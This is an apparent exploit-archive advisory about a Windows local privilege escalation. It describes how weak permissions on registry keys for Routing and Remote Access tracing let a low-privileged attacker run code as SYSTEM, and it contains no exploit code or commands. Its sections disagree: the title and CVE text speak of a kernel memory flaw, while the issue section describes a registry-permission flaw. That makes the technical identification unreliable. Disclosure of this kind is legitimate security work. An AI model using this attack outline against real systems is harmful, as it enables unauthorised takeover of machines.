Microsoft Windows Kernel Privilege Escalation

Microsoft Windows Kernel Privilege Escalation
Posted Feb 28, 2020
Authored by nu11secur1ty

This vulnerability allows local attackers to escalate privileges on affected installations of Microsoft Windows. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the Tracing functionality used by the Routing and Remote Access service. The issue results from the lack of proper permissions on registry keys that control this functionality. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM.

[Vulnerability Type]
Windows Kernel Elevation of Privilege Vulnerability

[CVE Reference]
An elevation of privilege vulnerability exists in the way that the Windows
Kernel handles objects in memory.
An attacker who successfully exploited the vulnerability could execute code
with elevated permissions.
To exploit the vulnerability, a locally authenticated attacker could run a
specially crafted application.
The security update addresses the vulnerability by ensuring the Windows
Kernel properly handles objects in memory.

[Security Issue]
This vulnerability allows local attackers to escalate privileges on
affected installations of Microsoft Windows.
An attacker must first obtain the ability to execute low-privileged code on
the target system in order to exploit this vulnerability.
The specific flaw exists within the Tracing functionality used by the
Routing and Remote Access service.
The issue results from the lack of proper permissions on registry keys that
control this functionality.
An attacker can leverage this vulnerability to escalate privileges and
execute code in the context of SYSTEM.

[Conclusion]
The building of a new module for restricting and checking a malicious
execution code from any local user on the machine.
